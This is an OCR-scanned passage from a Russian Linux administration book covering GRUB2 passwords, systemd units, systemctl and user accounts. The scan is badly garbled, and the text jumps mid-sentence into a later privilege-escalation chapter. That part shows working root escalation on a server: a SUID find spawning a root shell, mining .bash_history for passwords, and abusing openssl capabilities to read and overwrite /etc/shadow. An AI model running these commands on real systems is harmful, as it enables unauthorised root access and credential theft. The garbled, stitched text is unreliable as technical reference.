чтобы она записалась в файла /Ьoot/gruЬ/grub.cfg, запускагь ее нужно так:
sudo grub-mkconfig > /boot/gruЬ/grub.cfg

Или же ты можешь ввести команду update-grub, которая сделает то же са­
мое. Другими словами, команда update-grub - это сценарий, который вызы­
вает только что приведенную команду. Как по мне, то использовать команду
update-grnb удобнее.
Так какую стратегию GRUВ2 использовать? Редактировать шаблоны и пара­
метры или сразу конфигурационный файл? ЕсJШ ты работаешь за компью­
тером в гордом одиночестве и других администраторов не предвидится, то
тогда ты можешь выбрать ту стратегию, которая тебе больше нравится.
Если же есть или планируются другие администраторы, то нужно редакти­
ровать шаблоны и параметры вместо редактирования конфигурационного

'----·------·-·--·--···-----------·-·---·--------------------------·----·---·------

\..11, 11111 11,1 ( illll\

файла вручную. Дело в том, что если будут внесены изменения непосред­
ственно в конфигурационный файл, а потом другой администратор захочет
изменить какой-то незначительный параметр, например, добавить гудок при
загрузке GRUВ2, то команда update-grub перезапишет все сделанные изме­
нения.

Выбор метки по умолчанию
Как правило, даже если у тебя установлена одна только Linux, у тебя будет
несколько загрузочных меток (несколько записей menuent,y). Выбрать метку
по умолчанию можно с помощью параметра GRUB_DEFAULT. Нумерация
меток начинается с О, то есть первой метке соответствует значение О.
После того, как будет установлен другой номер метки по умолчанию, нужно
ввести команду update-grub и перезагрузить систему.
Другими словами, последовательность такая: редактируем файл /etc/default/
grub, изменяем значение параметра GRUВ_DEFAULT и вводим команду
update-grub.

Пароль загрузчика GRUB2
Загрузчик GRUB позволял только установить пароль - или общий или на
загрузку определенной метки. Загрузчик GRUВ2 более гибкий в этом плане,
поскольку предоставляет возможность настроить не только пароли, но и ло­
гины. Также есть минимальная система разграничения прав доступа.
Итак, в GRUB2 есть суперпользователь, который может редактировать
загрузочные метки. Существует возможность восстановить пароль root
путем передачи ядру параметра init. Но для этого нужно отредактировать
конфигурацию GRUВ2. Если ты установишь пароль суперпользователя, то
изменить конфигурацию загрузчика можно будет только после ввода этого
пароля.
Также в GRUВ2 есть обычные пользователи, которые имеют право только
выбирать загрузочную метку. Они не имеют права редактировать конфигу­
рацию загрузчика. В принципе, можно обойтись одним паролем суперполь­
зователя, но при желании GRUВ2 может довольно гибко разграничить права
пользователей.

-

--

- - - - - - - - - - - - - - --- - - - - - - - - - - - - - - -



-- - -- - - - - -- - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - .

1

1,11\:1 !. OlllllBl,I I illll\

Давайте сначала добавим пароль суперпользователя. Для этого в файл /etc/
grub.d/00_header добавь строки:
set superusers ="main_admin"
password main_admin 123456789

Первая команда задает суперпользователя main_admin, а вторая - задает для
него пароль. Старайтесь избегать общепринятых имен вроде admin, root и
т.д. Так у злоумышленника, который хочет изменить конфигурацию GRUВ2
будет две неизвестных.
Пароль rioкa в незашифрованном виде и это не очень хорошо. Поскольку
если загрузиться с LiveCD или LiveUSB, то его можно будет увидеть. Позже
я покажу, как зашифровать пароль.
Обычные пользователи задаются инструкцией password, например:
password me 12345

По сути main_admin - тоже был бы обычным пользователем, если бы не
инструкция set superusers, которая делает его суперпользователем.
Представим, что у нас есть следующие строки:
set superusers ="main_admin"
password main_admin 123456789
password me 12345

Пользователь main_admin может загружать операционные системы и редак­
тировать конфигурацию GRUВ2. Пользователь me может только загружать
операционные системы.
Если ты хочешь, чтобы определенные метки могли загружать только опреде­
ленные пользователи, добавьте к menuent,y параметр --users:
menuentry "Windows" --users me {
insmod part_msdos
insmod ntfs
set root= ' (hdO,msdosl)'

'.

---------

-- -- - - -- - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - -- - - - - - - -- - - - - - - -

...

,.11,11111 11,1 1 11111\

search --no-floppy --fs-uuid --set UUID
drivemap -s (hdO) ${root}
chainloader +1

Теперь зашифруем пароль. Введи команду:
grub-mkpasswd-pbkdf2

Программа запросит пароль, зашифрует его и выведет на экран его кэш.
Вывод будет примерно таким:
grub.pbkdf2.sha512.10000.9290F727ED06C38BA4549EF7DE25CF5642659
211B7FC076F2D27080136.887CFF169EA83D5235D8004742AA7D6187A41E31
87DFOCE14E256D85ED97A979080136.887CFF169EA8335235D8004242AA7D6
187A41E3187DFOCE14E256D85ED97A97357AAA8FFOA3871AB9EEFF458392F4
62F495487387F685B7472FC6C29E293FOAO

Данный хэш нужно указать вместо пароля пользователя. Однако вместо
инструкции passwd нужно использовать password_pbkdfl. Например:
password_pbkdf2 me grub.pbkdf2.sha512.10000.9290F727ED06C38BA4
549EF7DE25CF5642659211B7FC076F2D27080136.887CFF169EA83D5235D80
04742AA7D6187A41E3187DFOCE14E256D85ED97A979080136.887CFF169EA8
335235D8004242AA7D6187A41E3187DFOCE14E256D85ED97A97357AAA8FFOA
3871AВ9EEFF458392F462F495487387F685B7472FC6C29E293FOAO

После изменения файлов из каталога /etc/grub.d не забудь ввести команду
upgrade-grub для обновления основного файла конфигурации.

Установка загрузчика
Команда установки загрузчика такая же, как и в случае с GRUВ:
# /sbin/grub-install

Например:

----------·-------------------------------------------------------------------------·

l .1.111.1 1. ( k110111.1 l ,illll\

# /sbin/grub-install /dev/sda

Поскольку GRUВ2 у тебя уже устаномен, вряд ли когда-то придется вво­
дить эту команду. Исключение может составить разве что переустановка
операционной системы, которая перезапишет загрузочный сектор сво­
им загрузчиком. Поэтому тебе придется загрузиться с LiveCD, выполнить
chroot для вашей старой корневой системы и ввести команду grub-install
для установки загрузчика GRUВ2.

1.1.3. Система инициализации
После своей загрузки ядро передает упрамение системе инициализации.
Цель этой системы - выполнить дальнейшую инициализацию системы, Са­
мая главная задача системы инициализации - запуск и упрамение систем­
ными службами.
Слу,,сба (сервис, демон)- специш�ьная программа, выполняющаяся в фоно­
вом режиме и предоставляющая определенные услуги (или, как говорят, сер­
вис - отсюда и второе название).
Что превращает обычный компьютер, скажем, в FТР-сервер? Правильно, за­
пущенная служба FTP - тот же ProFTPD или что-то подобное. Ты можешь
установить программу ProFТPD и настроить ее на автоматический запуск
системой инициализации. Тогда при каждой загрузке наш компьютер будет
превращаться в FТР-сервер. Аналогично и с другими сервисами - доста­
точно установить определенную программу, чтобы превратить компьютер в
веб-сервер или почтовый сервер. Но стоит тебе отключить ее и компьютер
уже прекращает предоставлять обеспечиваемые программой услуги, следо­
вательно, превращается в самый обычный компьютер.
В мире Linux существовало очень много разных систем инициализации init, upstart, init-ng. Все их рассматривать уже нет смысла, поскольку в совре­
менных дистрибутивах используется совреме1:tная система инициализации
systemd.
systemd - подсистема инициализации и упрамения службами в Linux,
фактически вытеснившая в 2010-е годы традиционную подсистему init.
Основная особенность - интенсивное распараллеливание запуска служб
в процессе загрузки системы, что позволяет существенно ускорить запуск
операционной системы. Основная единица упрамения - модуль, одним из

'- - --- -- -- - - -- -- ---- ---- - - - ------- - - -- - -------- - - - - ----- ---

- - --

--

- -- -

-

----------

--

'\ ,11, 11111 11,1 ( 11111 \

типов модулей являются "службы" - аналог демонов - наборы процессов,
запускаемые и управляемые средствами подсистемы и изолируемые·
контрольными группами.

Принцип работы
Система инициализации systemd используется во многих современных
дистрибутивах, в частности в Fedora, UЬuntu, CentOS и openSUSE. На дан­
ный момент - это самая быстрая система инициализации.
Давайте подумаем, как можно ускорить запуск Linux? Можно пойти по пути
upstart - параллельно запускать службы. Но параллельный запуск - не всег­
да хорошо. Нужно учитывать зависимости служб. Например, сервис d-,.bus
нужен многим другим сервисам. Пока сервис d-bus не будет запущен, нельзя
запускать сервисы, которые от него зависят.
Если сначала запускать основные сервисы и ждать, пока они будут запуще­
ны, а потом уже запускать службы, которые от них зависимы, особого вы­
игрыша в производительности по сравнению с init ты не увидишь. Но если
сервис d-bus (или любой другой, от которого зависят какие-то другие серви­
сы) запускается долго, то все остальные службы будут ждать его.
Как обойти это ограничение? При своем запуске службы проверяют, запу­
щена ли необходимая им служба, по наличию файла сокета. Например, в
случае с d-Ьиs-это файл /var/run/dbus/system_bus_socket. Если мы создадим
сокеты для всех служб, то мы можем запускаrь их параллельно, особо не
беспокоясь, что произойдет сбой какой-то службы при запуске из-за отсут­
ствия службы, от которой они зависят. Даже если несколько служб, которым
нужен сервис d-bus, запустятся раньше, чем сам сервис d-bus: ничего страш­
ного. Каждая из этих служб отправит в сокет (главное, что он уже открыт!)
сообщение, которое обработает сервис d-bus после того, как он запустится.
Вот и все.
Но это не единственное "ухищрение", посредством которого осуществля­
ется ускорение запуска компьютера, инициализацию которого производит
systemd. Эта система инициализации запускает только необходимые сер­
висы. Остальные же будут запущены по мере необходимости. Концепция
отложенного запуска используется и в других операционных системах
- например, в Мае OS Х (там система инициализации называется launchd)
и в Windows (концепция отложенного запуска служб). Так что решение не
очень новое, но зато проверенное.



------------·····································--····-··--···--···--·---··-······

1 1:ш,1 1. (k1111в1.1 1 i1111,

Основными функциями systemd являются:
• Активация на основании сокетов - система инициализации systemd
прослушивает сокеты всех системных служб. Сокеты передаются
системным службам сразу после запуска сервисов. Благодаря этому осу­
ществляется параллельный запуск сервисов. Также это позволяет переза­
пускать сервисы без потери любых отправленных им сообщений, то есть
пока сервис перезапускается, отправленные ему сообщения накаплива­
ются и он сможет их обработать после того, как будет запущен.
• Активация на основании устройств - systemd может запустить опре­
деленные службы, когда станет доступным определенный тип оборудо­
вания. Например, ты подключил Bluetooth-aдanтep, может быть запущен
сервис Ыuetooth.
• Активация .на основании d-bus - служба инициализации может запу­
стить сервисы, которые используют d-bus для межпроцессного взаимо­
действия, например, когда клиентское приложение попытается связаться
с системной службой.
• Активащiя на основании путей - systemd может запустить службу, если
изменится содержание каталога.
• Управление точками монтирования и автоматическим монтирова­
нием - система инициализации отслеживает и управляет точками монти­
рования и автоматического монтирования.
• Снимки системных состояний - благодаря этой возможности systemd
может сохранить состояние всех модулей и восстановить предыдущее
состояние системы.
• Параллелизация - systemd запускает системные службы параллельно
благодаря активации на основании сокетов. Параллельная активация су­
щественно сокращает время загрузки системы.
• Обратная совместимость с SysV - поддерживаются сценарии инициа­
лизации SysV, что упрощает переход на systemd. Однако все устанавли­
ваемые в современных дистрибутивах пакеты служб уже адаптированы
под systemd, поэтому не нужно надеяться, что во время установки пакета
какого-то сервиса будут установлены SуsV-сценарии. Будут созданы фай­
лы, необходимые для запуска сервиса посредством systemd .



............................. , ....................................................•

\.,11, 11111 11,1 ( 11111 \

Конфиrурационные файлы systemd
Обилие различных конфигурационных файлов systemd может ввести в сту­
пор даже бывалого линуксоида, не говоря уже о пользователе, который впер­
вые видит systemd. Когда я впервые познакомился с systemd, у меня было
только одно желание - снести ее и установить вместо нее init. Но мы это,
конечно, делать не будем. Чтобы разобраться со всеми файлами, нужно по­
нимать, как работает эта система.
В systemd используется концепция модулей (юнитов). Существующие типы
модулей описаны в таблице 1.1.
Таблица 1.1. Типы модулей системы инициализации systemd
Тип

Описание

service

Служба (сервис, демон), которую нужно запустить. Пример
имени модуля: network.service. Изначально systemd поддерживала сценар1m SysV (чтобы управлять сервисами можно
было, как при использовании init), но в последнее время
в каталоге /etc/init.d систем, которые используют systemd
практически пусто (или вообще пусто), а управление сервисами осуществляется только посредством systemd

target

Цель. Используется для группировки модулей других типов. В systemd нет уровней запуска, вместо них используются цели. Например, цель multi-user.target описывает, какие
модули должны быть запущены в многоподьзовательском
режиме

snapshot

Снимок. Используется для сохранения состояния systemd.
Снимки могут использоваться для перевода системы из одного состояния в другое, например, в состояние сна и пробуждение

mount

Точка монтирования. Представляет точку монтирования.
Система инициализации systemd контролирует все точки
монтирования. При исполъзоваНJШ systemd файл /etc/fstab
уже не главный, хотя все еще может использоваться для
определения точек монтирования

4'

-----------------------------------------------------------------------------------·

J 1,111,1 1. ()l-11111:1,1)illtl\

automount

Автоматическая точка монтирования. Используется для
монтирования сменных носителей - флешек, внешних
жестких дисков, оптических дисков и т.д.

socket

Сокет. Представляет сокет, находящийся в файловой системе или в Интернете. Поддерживаются сокеты AF_INET,
AF_INET6, AF_UNIX. Реализация довольно интересная.
Например, если сервису service l .servive соответствует сокет service l .socket, то при попытке установки соединения с
service l .socket будет запущен service l .servive

device

Устройство. Представляет устройство в дереве устройств.
Работает вместе с udev: если устройство описано в виде
правила udev, то его можно представить в systemd в виде
модуля device

path

Файл или каталог, созданный где-то в файловой системе

scope

Процесс, который создан извне

slice

Управляет системными процессами. Представляет собой
группу иерархически организованных модулей

swap

Представляет область подкачки (раздел подкачки) или файл
подкачки (свопа)

timer

Представляет собой таймер системы инициализации systemd

Модули хранятся в следующих каталогах:
• /etc/systemd/system/ - обладает самым высоким приоритетом. Здесь со­
держатся модули, которые созданы и управляются системным админи­
стратором.
• /run/systemd/system/ - модули, созданные во время �ыполнения. Приори­
тет этого каталога ниже, чем каталога /etc/systemd/system/, но выше, чем
у /usrЛiЬ/systemd/system.

\,11,11111 11,1 ( illll\

• /usr/liЬ/systemd/system/ - модули, которые установлены из пакетов.
Типичный файл модуля типа service приведен в листинге 1.3.
Листинг 1.3. Типичный файл модуля типа service
[Unit]

Description= Daemon to detect crashing apps
After= syslog.target
[Service]
ExecStart =/usr/sbin/abrtd
Type= forking
[ Install]
WantedBy=multi-user.target

В секции Unit содержится общая информация о сервисе. Эта секция есть и в
друrих модулях, а не только в сервисах.
Секция Service содержит информацию о сервисе. Параметр ExecStart описы­
вает команду, которую нужно запустить. Параметр Туре указывает, как сер­
вис будет уведомлять systemd об окончании запуска.
Секция Install содержит информацию о цели, в которой должен запускать­
ся сервис. В нашем случае видно, что сервис будет запущен при активации
цели multi-user.target.
Вы можете использовать эту "болванку" для написания собственного серви­
са, который потом нужно поместить в файл /etc/systemd/system/имя_cepвиca.
service. После этого нужно перезапустить саму systemd, чтобы она узнала о
новом сервисе:
# systemctl daemon-reload

Цели

..

Теперь поговорим о целях. Файлы целей • .target предназначены для груп­
пировки вместе других юнитов systemd через цепочку зависимостей. Так,



. . ---- ---- - ----- . ----------- -- .. -- ..-- - -.........-· .... --· - -- - ..... - - - ----....... .

l .1ава 1. Ос110111,1 1 i1111\

модуль цели graphical.target, который используется для запуска графическо­
го сеанса, запускает системные службы GDM (файл gdm.service) и Accounts
Service (accounts--daemon.service), а также активирует цель multi-user.target.
В свою очередь, цель multi-user.target запускает другие системные службы,
например, D-Bus (dbus.service) и активирует другие цели вроде basic.target.
В systemd имеются предопределенные цели, которые напоминают стандарт­
ный набор уровней запуска.
Некоторые цели называются runlevelN.target, чтобы упростить переход быв­
ших пользователей init на systemd, а именно:
• poweroff.target (runlevelO.target) - завершение работы и отключение
системы;
• rescue.target (runlevell.target) - однопользовательский режим, среда вос­
становления;
• multi-user.target (runlevel2.target, runlevelЗ.target, runlevel4.target)- много­
пользовательский режим, без графического интерфейса;
• graphical.target (runlevel5.target)- многопользовательский режим с графи­
ческим интерфейсом
• reboot.target (runlevelб.target) - завершение работы и перезагрузка систе­
мы
Управление службами осуществляется с помощью программы systemctl.
Подробнее о службах мы поговорим в следующем разделе, а пока разберем­
ся, как использовать systemctl для завершения работы системы:
• systemctl halt - останавливает систему;
• systemctl poweroff - выключает систему;
• systemctl reboot - перезагружает систему.
Многим пользователям будет удобнее использовать старые команды halt,
poweroffи reboot. Но все же теперь ты знаешь, что есть альтернативные спо­
собы завершения работы.



. ............. ..... ....-- -.. -·· ....... -·· ...........------

-- ------- .. - .. ·---.

·- - -

'\al,11111 11а I ill!I\

Управление сервисами при использовании systemd
При использовании системы инициализации systemd управление службами
осуществляется посредством программы systemctl. Команда systemctl ис­
пользуется для разных целей, поэтому в таблице 1.2 представлены не все ее
параметры, а только те, которые имеют отношение к сервисам.
Таблица 1.2. Параметры программы systemctl
Параметр

Описание

start

Запускает сервис

stop

Останавливает сервис

restart

Перезапускает сервис

t,y-restart

Перезапуск сервиса только, если он запущеп

reload

Перезагружает конфигурацию сервиса

status

Отображает подробное состояние сервиса

is-active
/ist-units --type service --all

Отображает только строку active (сервис запущен) или inactive (остановлен)
Выводит состояние всех сервисов

епаЬ/е

Включает сервис (обеспечивает его автоматический запуск)

disaЬ/e

Отключает сервис (сервис не будет автоматически запускаться при запуске системы)

rеепаЬ/е

Деактивирует сервис и сразу его использует

/ist-unit-fi/es --type service

Выводит список всех сервисов и сообщает,
какие из них активированы, а какие - нет

....................................................................................

1 1ава J _ (k1111111.1 1 i1111,

Примеры:
# systemctl sta_rt httpd. service
# systemctl stop httpd

Первая команда запускает сервис httpd (веб-сервер), вторая - останавливает.
Обратите внимание, что ".service" можно не указывать.
Бывалые пользователи Linux сразу заметят удобства. Ранее, чтобы отклю­
чить службу на определенном уровне запуска, нужно было удалить ее сим­
волическую ссылку из определенного каталога. Аналогично, чтобы служба
запускалась на определенном уровне запуска (например, в графическом ре­
жиме), нужно было создать символическую ссылку. Сейчас всего этого нет,
а есть только команды епаЬ/е и disaЬ/e, что гораздо удобнее.

1.2. Учетные записи пользователей
1.2.1. Введение в учетные записи Linux
Операционная система Linux поддерживает регистрацию и одновременную
работу множества пользователей. Обрати внимание: именно одновременную
работу. Раньше, еще во времена UNIX, были компьютеры, к которым под­
ключалось несколько мониторов и клавиатур. Каждый комплект монитор +
клавиатура назывался терминалом и представлял собой отдельное рабочее
место пользователя. Пользователь входил в систему, а его рабочее место в
системе отображалось как ttyN, где N -номер рабочего места.
Сегодня такие компьютеры уже более не востребованы, их вытеснили пер­
сональные компьютеры, которые и стали называться персональными,
поскольку предполагают подключение только одного рабочего места. Мо­
ниторов можно подключить несколько, а устройство ввода - клавиатура
будет одна. Но даже на таких компьютерах возможна одновременная
работа нескольких пользователей. Например, ты можешь войти в систему
как обычно - посредством графического интерфейса. Другие пользователи
смогут войти через ssh или FTP. И все будут работать с системой одновре­
менно. SSН�пользователи смогут выполнять команды и получать результат

:\а1,11111 11,1 1 i1111\

их выполнения, FТР-пользователи - обмениваться с вашим компьютером
файлами.
Все учетные записи можно разделить на три вида:
• Учетные записи обычных пользователей;
• Учетные записи системных служб;
• Учетная запись root.
С учетными записями обычных пользователей все ясно - они имеют право
входить в систему разными способами (если тот или иной способ не запре­
щен настройками системы), для них определен домашний каталог (обычно
/hоmе/), пароль и командная оболочка (как правило, в
последнее время используется /Ьin/Ьash).
Права обычных учетных записей:
• Право на вход в систему - по умолчанию обычный пользователь мо­
жет войти в систему самыми разными способами, если это не ограни­
чено настройками системы (например, модулями РАМ). Пользователь.
может войти локально - через консоль или в графическом режиме че­
рез дисплей-менеджер вроде gdm. Также никто не запрещает (опять-таки
по умолчанию) удаленный вход, например, по SSH или FTP, если на
компьютере, в который осуществляется вход, установлены соответству­
ющие службы.
• Право на запуск программ, не требующих для своего выполнения
прав root - как правило, такие программы находятся в каталогах /Ьin и /
usr/Ьin. А вот из каталога /sЬin запустить программу может только супер­
пользователь. Программы, действие которых распространяется на всю
систему, например, программы изменения сетевых интерфейсов, про­
граммы разметки диска находятся в каталоге /sЬin (super-Ьin). Чтобы за­
пустить эти программы, пользователю нужно получить полномочия root.
О том, как это сделать, будет сказано в следующем разделе.
• Обычный пользователь может создавать, удалять, читать, изменять,
запускать, устанавливать права и выполнять другие операции над
файлами, которые находятся в его домашнем каталоге. Как правило,
это каталог /hоmе/. Хотя администратор может
назначить пользователю любой другой каталог, хоть /users/Ьagira.rip, как
правило, этого никто не делает. Каталог /home может находиться физи-



· · · · · · · · ·· · · · · · · · · · · · · ·· · · · · · .. . . . .... .... ......... · ···---··-... - · · ·-

···········'

1 1.111.1 1. Ос110111,1 1 i1111\

чески на одном разделе, что и корневая файловая система, а может нахо­
диться и на другом разделе и даже на другом диске. На крупных серверах,
как правило, под /home отводят целый диск или даже создают RАID­
массивы дисков.
• Право на чтение файлов - обычный пользователь может читать боль­
шую часть файлов за пределами домашнего каталога . Исключения раз­
ве что составляют домашние каталоги других пользователей (если эти
другие пользователи явно не разрешили этому пользователю читать их
файлы) и некоторые файлы/каталоги в /etc. Например, файл /etc/passwd
могут читать все пользователи, а вот файл /etc/shadow - только root.
• Пользователь не имеет право вносить изменения в конфигурацию
всей системы, то есть устанавливать программы, изменять глобальные
настройки устройств, параметры ядра, параметры загрузчика и т.д.
• Пользователь имеет право изменить свои пользовательские пара­
метры, например, обои рабочего стола, некоторые переменные окруже­
ния, которые будут влиять только на его работу и т.д.
• Право на изменение своего пароля, но обычный пользователь не имеет
право изменять пароль других пользователей.
Учетные записи системных служб не имеют право входить в систему. Для
них не задан ни пароль, ни домашний каталог, а в качестве оболочки ис­
пользуется /Ьin/true или /Ьin/false - чтобы пользователь, используя учетную
запись службы, не мог войти в систему через консоль. От имени таких учет­
ных записей выполняются различные службы, например, от имени пользо­
вателя www-data выполняется веб-сервер, gdm - учетная запись для GNOME
Display Manager и т.д.
Пользователь root - пользователь с максимальными правами, он может де­
лать все:
• Право на изменение любого файла - root может читать, записывать,
удалять любые файлы, в том числе и файлы в домашних каталогах других
пользователей.
• Право на изменение конфигурации системы - пользователь root может
изменять конфигурацию систему посредством редактирования файлов в
каталоге /etc, /proc, запуска конфигураторов системы.

.

................................... -............... - -. - - - -.. - -.. - -.. -..............

-

'\al,11111 11:1 1 illll\

• Право на запуск любых программ - root может запустить любую
программу, в каком бы каталоге она ни находилась.
• Право на создание, удаление, изменение (в том числе изменение паро­
ля) других учетных записей.
• Право на установку и удаление программ.
Власть пользователя root неограниченна. Так было до определенного момен­
та, пока не появились системы принудительного контроля доступа вроде,
которые могут даже ограничить самого root. Вот только беда SELinux, LIDS,
Tomoyo и другие подобные системы по умолчанию неактивны или даже не
установлены, поэтому пока их не активировать пользователь root будет все
равно самым главным.
Примечание. Напомним, что когда у тебя привилегии пользова­
теля root, приглашение командной строки заканчивается симво­
лом #, а когда ты работаешь как обычный пользователь - $.

1.2.2. Получение полномочий root
Самый простой способ получить права root - это войти как root. То есть
при входе в систему нужно указать имя пользователя root и пароль, указан­
ный при установке. Проблема в том, что не во всех дистрибутивах этот трюк
сработает. Учитывая всю опасность, которую несет использование учетной
записи root, во многих дистрибутивах учетная запись root отключена, а вход
как root ограничен самыми разными способами. Например, в том же дистри­
бутиве UЬuntu учетная запись root попросту отключена. Включать учетную
запись root не рекомендуется - ведь злоумьшшенник знает, что учетка root
есть везде и ему не придется угадывать имя пользователя, останется только
подобрать пароль root. А так исключается даже сама возможность входа как
root. Тем более права root можно получить другим образом, о котором мы
поговорим далее. А пока рассмотрим способы блокировки входа (кроме
отключения учетной записи) root.

..

Часто вход как root ограничен на уровне менеджера дисплея. В дистрибути­
вах, где используется графическая среда КDЕ и менеджер экрана КDМ (К
Display Manager) нужно отредактировать файл /etc/altematives/kdm4-config.
..... . . .. . . . .. . . . . . . .. . ......................... . . . . . .................... . ......

'

1 1,11\,1 1. ( )(-110111.1 1 11111\

В нем нужно найти дирекrиву AllowRootLogin и присвоить ей значение true,
чем ты разрешись вход как root в rрафическом режиме.
При использовании GDM (Gnome Display Manager) вход как root оrраничен
не столько конфигурацией самого GDM, а столько РАМ-модулями. Нужно
открыть /etc/pam.d/gdm-password и найти строку, отвечающую за запрет вхо­
да, как root (рис. 1.1). Она может выглядеть, например, так:
auth required pam_succeed_if.so user != root quiet

4 81,nc1.ude c_,,•iluth
5 iluth
opttona1.
p8"_g..-_keyrtng.so
е ttnctude cON110n•accoun�
7 • SEL1.nux nefl!s to Ь. the ftrst sesston rute. Thts ensures that eny
8 8 1.tngertng context hes Ьееn c1.eared. Ntthout thts tt ts poss\b1.e
9 • tha't • N»dute coutd execute code t.n the wгong cfo,gitn.

1esesst.on [success-ok t.gnore-1.gnore ll'N)(tute_unknown•tgnoгe de,autt•b•d]

p-.._settnux.so ctose

11 sesst.on requ\red
p.,._togtnut.d.so
12 • SEL t.nux n.eds to tntervene at togt.n t\111e to ensure thet the proc.e.ss
13 • sterts t.n the proper def'autt s�uгtty cont:e:xt. onty sesst.ons whtch are
1� • tnt.ended to run t.n the us�r • s cont•xt shou1.d Ье ,run lifter thts.
15 • p..,._sett.nux.so chanv-s t:he SEL\nux context of the used ТТУ and conf1.guгes
10 • SELt.nUX t.n oгder to tr•nst.tt.on to the user context wt.th t:he next execve()
178 сан.
18 Sesst.on [success-ok t.gnore•t.gnore �ute_unknown•·t.gnore def•u\tabad]
p.,._settnux.so open
1.9 sesst.on opt1.onat .
�-keyt.nt.t:.so force revoke
28 s•sst.on requt.Fed
p.,._\t"t.ts.so
p.,._env.so readenv•.1
21. sesst.on requt.red
22 sesst.on гequtred
p.,._env. so readenv•1. user _reaclenv•1 e:nv·f1.le•/et:c/defeutt/tocate
Z3 ttnctude c°""°" .. sesston
24 sesst.on opt1.ona1.
p"_gn01W_keyrtng.so •uto_st•rt
25 ft.nctude CONltOП"passward

СТр3,СТл61

Рис. 1.1. Файл /etclpam.d/gdm-password

Некоторые дистрибуrивы разрешают заходить, как root даже в rрафическом
режиме. Просто они отображают предупреждение о том, что работать, как
root небезопасно. Пример такого дистрибутива - CentOS.
Настоятельно рекомендуется работать в системе как обычный пользоваrель,
а максимальные права получать только тогда, когда они тебе действительно
нужны. Например, когда понадобится запустить какую-то проrрамму, требу­
ющую права root. При этом тебе особо ничего не придется делать, кроме как
ввести пароль.

'·-··········---··-···-···-········-··--········-································-

\:al,11111 11,1 1 illll\

Рассмотрим пример. Ты установил UЬuntu, при установке создал учетную
запись ubuntu и задал пароль. По умолчанию инсталлятор создает первую
учетную запись так, что она вносится в файл sudoers. В этом файле указы­
ваются все учетные записи, имеющие право выполнять административные
задачи. Когда ты попытаешься выполнить одну из таких задач, например,
добавить нового пользователя, графический интерфейс автоматически
запросит у тебя твой пароль. Это будет не пароль root, а твой пароль, то есть
пароль пользователя ubuntu (рис. 1.2). Ему разрешено выполнять админи­
стративные задачи, просто система пытается убедиться, что ты - это ты, а не
некто, кто оказался за твоим компьютером, пока ты отошел.

Рис. 1.2. Ввод пользователя

Когда же нужна командная строка с правами root, не обязательно даже
переключаться в консоль. Достаточно открыть терминал и ввести коман­
ду su. Она запросит ввести пароль root. После ввода пароля ты получишь
терминал с правами root. Это означает, что все команды, которые будешь
вводить после ввода команды su и успешной аутентификации, будут выпол­
няться с правами root.



--------------------------------------------------·------------·------------------·

l.1a11.1 1. О.-1101/dev/null

Также можно найти файлы со SUID/SGID с помощью LinEnum. Вывод
инструмента будет таким:

-

[+] PossiЫy interesting SUID files:
-rwsr-sr-x 1 root root 2332434 Feb 25 2022 /usr/bin/find
- ·: · - - - - - - - - -- - - - - - - -



-- - - - - -- - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - .

Что это нам дает? Да то, что у find есть параметр -ехес, позволяющий за­
пустить программу при нахождении файла. А раз у find есть SUID/SGID,
то мы можем с ее помощью запустить любую программу с правами root.
Например:
find . -ехес /Ыn/sh -р \; quit
# whoami
root
#

Данная команда открывает оболочку с правами root, поэтому все дальней­
шие команды будут запущены от имени root.

3.4. Анализ истории команд
Иногда бывает, что на тебе достался доступ к VDS, но пароля ты не зна­
ешь - он сохранен в SSН-клиенте, а бывший админ уже "пропал с радаров".
Что делать? Первым делом нужно попытаться расшифровать сохраненный
пароль. Поскольку SSН-клиенту нужно передавать пароль на сервер, то на
локальном компьютере он хранится в зашифрованном виде, поддержива­
ющим расшифровку (необратимое шифрование не используется - вроде
МD5). Алгоритм зависит от твоего SSН-клиента. Конкретные инструкции
можно будет найти в Интернете. А вот если ты их не нашел, тогда все за­
метно хуже. Но не все потеряно. Можно исследовать историю команд - файл
~/.bash_history. Иногда бывает так, что:
• Пользователь ошибся и ввел пароль, когда система это не ожидала. В дан­
ном случае данный пароль будет записан в .bash_history.
• Иногда админы указывают один пароль на все, и некоторые команды
позволяют пароль указать в качестве значения параметра. Следователь­
но, исследуй команды, которые принимают пароли в качестве одного из
параметров. Данное мероприятие, как показывает практика, имеет шансы
на успех.



·······-····-·· .... ..........................······· .............................. ...

3.5. Возможности Linux
С помощью описанного ранее способа (SUID/SGID) можно получить права
root. Во избежание этого была реализована система Linux capabilities (воз­
можности Linux). Идея этого механизма заключается в том, чтобы пре­
доставлять не полные привилегии, а только то, что нужно для выполнения
задачи. Посмотрим, как это используется.
Первым делом нужно найти подобные файлы в системе:
getcap -r / 2>/dev/null
/usr/bin/fping = cap_net raw+ep
/usr/bin/ping = cap_net raw+ep
/usr/bin/openssl = ер
/usr/bin/tar = cap_d ac read_search+ep

Классический пример иллюстрации - это исполняемый файл tar с разре­
шением cap_dac_read_search+ep, позволяющим ему читать любой файл в
системе. Это означает, например, что этой программе доступен файл /etc/
shadow, который от лица обычного пользователя недоступен на чтение.
Доступ к этому файлу даст нам хеши паролей, в том числе от root, который
мы можем попробовать сбрутить.
Также встречается пустое разрешение =ер. Когда выставлено такое разре­
шение (есть знак "равно" в начале, и не перечислен список разрешений),
это значит, что файлу предоставлены все возможные разрешения. В примере
такие разрешения есть у файла openssl.
Теперь практический пример, в котором мы попытаемся прочитать файл /
etc/shadow. Сгенерируем ключи:
openssl req -х509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 nodes
Generating а RSA private key

Запускаем веб-сервер:

-

openssl s_server -key key.pem -cert cert.pem -port 1336 -НТТР

..... .................... -...............................···-·····-···"



-- -------·

1 1,111.1 ,_ 110.11 •1at ,1 11р.111а 100111а \ l)S

Using default temp ОН parameters
АССЕРТ

После этого читаем файл:
curl -k -http0.8 "https://127.0.0.1:1336/etc/shadow"

1

more

rооt::18442:0:999999:7:::

После этого можно сгенерировать новый файл shadow и перезаписать ним
системный. Создадим новый хеш, заменим им хеш (в примере - восклица­
тельный знак) и подготовим файл для заливки.
mkpasswd -m sha-512 -S saltsalt -s
Password: 123456


Этот пароль нужно скопировать в качестве второго поля в файл shadow для
пользователя root. Новый файл нужно скопировать на сервер в /etc/shadow и
залогинитъся:
openssl smime -decrypt -in /tmp/shadow -inform DER -inkey key.
